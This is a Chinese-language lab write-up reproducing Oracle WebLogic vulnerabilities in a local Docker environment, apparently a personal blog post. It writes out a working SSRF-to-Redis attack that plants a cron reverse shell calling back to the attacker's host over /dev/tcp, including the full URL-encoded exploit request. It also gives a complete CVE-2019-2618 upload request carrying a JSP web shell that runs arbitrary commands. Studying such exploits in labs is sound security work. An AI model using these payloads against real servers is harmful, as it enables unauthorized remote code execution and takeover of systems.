0x00 前期准备

Weblogic简介

WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。

部署

本地Ubuntu18.04使用docker容器部署。

Ubuntu IP: 192.168.2.7

创建任意目录并创建文件docker-compose.yml

1
2
3
4
5
6
7
8
9
10
version: '2'
services:
weblogic:
image: vulhub/weblogic:10.3.6.0-2017
depends_on:
- redis
ports:
- "7001:7001"
redis:
image: vulhub/baselinux:centos-6

保存后在此目录下开启容器。

1
docker-compose up -d

稍等片刻即可下载完成并开启。

0x01 漏洞扫描

当前Weblogic Server的版本为10.3.6.0,利用Github搜索公开POC进行扫描检测。

Github Poc地址

git到kali机中进行检测。

在ip的txt文件中添加地址,默认端口为7001。

并执行脚本。

1
python3 ws.py -t ip.txt

扫描结果

CVE-2014-4210

weblogic的SSRF漏洞,该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件.

CVE-2018-3252

Weblogic远程代码执行漏洞

CVE-2019-2618

WebLogic任意文件上传漏洞

CVE-2019-2888

WebLogic未授权XXE漏洞

CVE-2020-2551

Weblogic IIOP 反序列化

0x03 漏洞复现

CVE-2014-4210

环境

weblogic容器 IP: 172.18.0.3

redis容器 IP: 172.18.0.2

kali IP: 192.168.2.5

SSRF漏洞概述

服务端请求伪造(Server Side Request Forgery, SSRF)

指的是攻击者在未能取得服务器所有权限时,利用服务器漏洞以服务器的身份发送一条构造好的请求给服务器所在内网。SSRF攻击通常针对外部网络无法直接访问的内部系统。

SSRF可利用方式

SSRF漏洞可以判断内网主机存活以及端口开放情况,可以读取服务器文件,攻击内网的web应用。

漏洞测试

Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是可以通过传入%0a%0d来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。

在weblogic中此漏洞的路径为

1
http://ip:7001/uddiexplorer/SearchPublicRegistries.jsp

点击rearch进行抓包

在operator变量后修改参数为

1
http://192.168.2.7:7002

进行端口存活测试,经测试后发现当回显内容中不存在but could not connect即端口为存活状态

修改operator变量后参数为

1
http://192.168.2.7:7001

使用此方法便可探测出当前服务器所开放的端口以及内网ip以及端口。

接下来需要发送三条redis命令,将弹shell脚本写入/etc/crontab:

1
2
3
4
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.2.5/4444 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

进行url编码绕过拦截并将其使用GET的形式进行注入:

1
http://192.168.2.7:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.18.0.3:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.5%2F4444%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

到kali机中进行端口监听:

1
nc -lvnp 4444

访问编辑过后的URL

回到kali中查看

成功反弹shell。

CVE-2019-2618

该漏洞主要是利用了WebLogic组件中的DeploymentService接口向服务器上传文件。攻击者突破了OAM(Oracle Access Management)认证,设置wl_request_type参数为app_upload,构造文件上传格式的POST请求包,上传jsp木马文件,进而可以获得整个服务器的权限。

漏洞测试

访问页面http://192.168.2.7/bea_wls_deployment_internal/DeploymentService并进行抓包

将以下内容替换为抓包内容:

tips:将GET修改为POST,并黏贴connect及以下内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.21.0
username: weblogic
wl_request_type: app_upload
cache-control: no-cache
wl_upload_application_name: /../tmp/_WL_internal/bea_wls_internal/9j4dqk/war
serverName: weblogic
password:Oracle@123
content-type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
archive: true
server_version: 10.3.6.0
wl_upload_delta: true
Content-Length: 1080

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="shell.jsp"; filename="shell.jsp"
Content-Type: false

<%@ page import="java.util.*,java.io.*"%>
<%
%>
<HTML><BODY>
Commands with JSP
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
out.println("Command: " + request.getParameter("cmd") + "<BR>");
Process p;
if ( System.getProperty("os.name").toLowerCase().indexOf("windows") != -1){
p = Runtime.getRuntime().exec("cmd.exe /C " + request.getParameter("cmd"));
}
else{
p = Runtime.getRuntime().exec(request.getParameter("cmd"));
}
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
%>
</pre>
</BODY></HTML>

------WebKitFormBoundary7MA4YWxkTrZu0gW--

发包后会回显上传路径。

访问路径下的shell文件。

http://192.168.2.7:7001/bea_wls_internel/shell.jsp

whoami命令执行成功。

CVE-2018-3252

CVE-2019-2888

CVE-2020-2551

未找到weblogic存在此三个漏洞的版本。

快乐分享

带薪拉屎真的爽!!!

在奇安信的第五天结束